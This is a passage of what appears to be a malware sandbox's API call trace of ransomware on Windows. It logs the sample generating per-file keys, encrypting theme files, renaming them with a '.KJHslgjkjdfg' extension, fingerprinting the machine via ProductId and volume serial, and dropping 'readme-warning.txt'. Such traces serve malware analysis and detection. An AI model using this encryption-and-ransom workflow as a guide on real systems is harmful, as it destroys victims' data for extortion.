hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.493] GetProcessHeap () returned 0x2a0000 [0146.494] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.494] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.494] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.494] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0146.496] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.496] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.496] GetProcessHeap () returned 0x2a0000 [0146.496] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.496] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.496] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.496] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.496] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.496] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.496] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.496] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.496] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.496] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.497] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.497] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.497] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x553, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x553, lpOverlapped=0x0) returned 1 [0146.497] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x560, dwBufLen=0x560 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x560) returned 1 [0146.497] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.497] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x560, lpOverlapped=0x0) returned 1 [0146.497] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.497] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.497] SetEndOfFile (hFile=0x118) returned 1 [0146.500] GetProcessHeap () returned 0x2a0000 [0146.500] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.500] GetProcessHeap () returned 0x2a0000 [0146.500] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.500] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.505] CloseHandle (hObject=0x118) returned 1 [0146.505] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.505] GetProcessHeap () returned 0x2a0000 [0146.506] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.506] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.506] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.506] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0146.508] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.508] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.508] GetProcessHeap () returned 0x2a0000 [0146.508] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.508] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.508] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.508] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.508] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.509] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.509] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.509] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.509] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.509] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.509] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.509] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.509] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4f93, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x4f93, lpOverlapped=0x0) returned 1 [0146.510] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4fa0, dwBufLen=0x4fa0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x4fa0) returned 1 [0146.511] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.511] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x4fa0, lpOverlapped=0x0) returned 1 [0146.511] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.511] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x5074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.511] SetEndOfFile (hFile=0x118) returned 1 [0146.514] GetProcessHeap () returned 0x2a0000 [0146.514] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.514] GetProcessHeap () returned 0x2a0000 [0146.514] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.514] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0146.521] CloseHandle (hObject=0x118) returned 1 [0146.521] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0146.521] GetProcessHeap () returned 0x2a0000 [0146.521] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.521] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.521] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0146.521] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.521] GetProcessHeap () returned 0x2a0000 [0146.521] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0146.522] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.522] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0146.522] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.522] GetProcessHeap () returned 0x2a0000 [0146.522] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0146.522] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.522] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0146.522] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.522] GetProcessHeap () returned 0x2a0000 [0146.522] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0146.522] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.522] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0146.522] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.522] GetProcessHeap () returned 0x2a0000 [0146.522] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.522] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.522] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0146.522] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.522] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0146.523] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0146.523] RegCloseKey (hKey=0x118) returned 0x0 [0146.523] GetProcessHeap () returned 0x2a0000 [0146.523] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0146.523] GetProcessHeap () returned 0x2a0000 [0146.523] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.523] GetProcessHeap () returned 0x2a0000 [0146.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.523] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.523] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0146.523] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.523] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.523] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.523] GetProcessHeap () returned 0x2a0000 [0146.523] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.524] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.524] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.524] GetProcessHeap () returned 0x2a0000 [0146.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0146.524] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\readme-warning.txt") returned 82 [0146.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.524] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0146.525] CloseHandle (hObject=0x118) returned 1 [0146.526] GetProcessHeap () returned 0x2a0000 [0146.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0146.526] GetProcessHeap () returned 0x2a0000 [0146.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0146.526] GetProcessHeap () returned 0x2a0000 [0146.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0146.526] GetProcessHeap () returned 0x2a0000 [0146.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.526] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0146.526] GetProcessHeap () returned 0x2a0000 [0146.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0146.526] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0146.526] GetProcessHeap () returned 0x2a0000 [0146.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x90) returned 0x2ef2d8 [0146.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0146.528] GetProcessHeap () returned 0x2a0000 [0146.528] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0146.528] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.528] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0146.528] GetProcessHeap () returned 0x2a0000 [0146.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x292) returned 0x2f32d0 [0146.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.530] GetProcessHeap () returned 0x2a0000 [0146.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.530] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.530] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.530] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0146.532] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.532] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.532] GetProcessHeap () returned 0x2a0000 [0146.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.532] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.532] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.532] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.532] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.532] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.532] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.533] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.533] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.533] 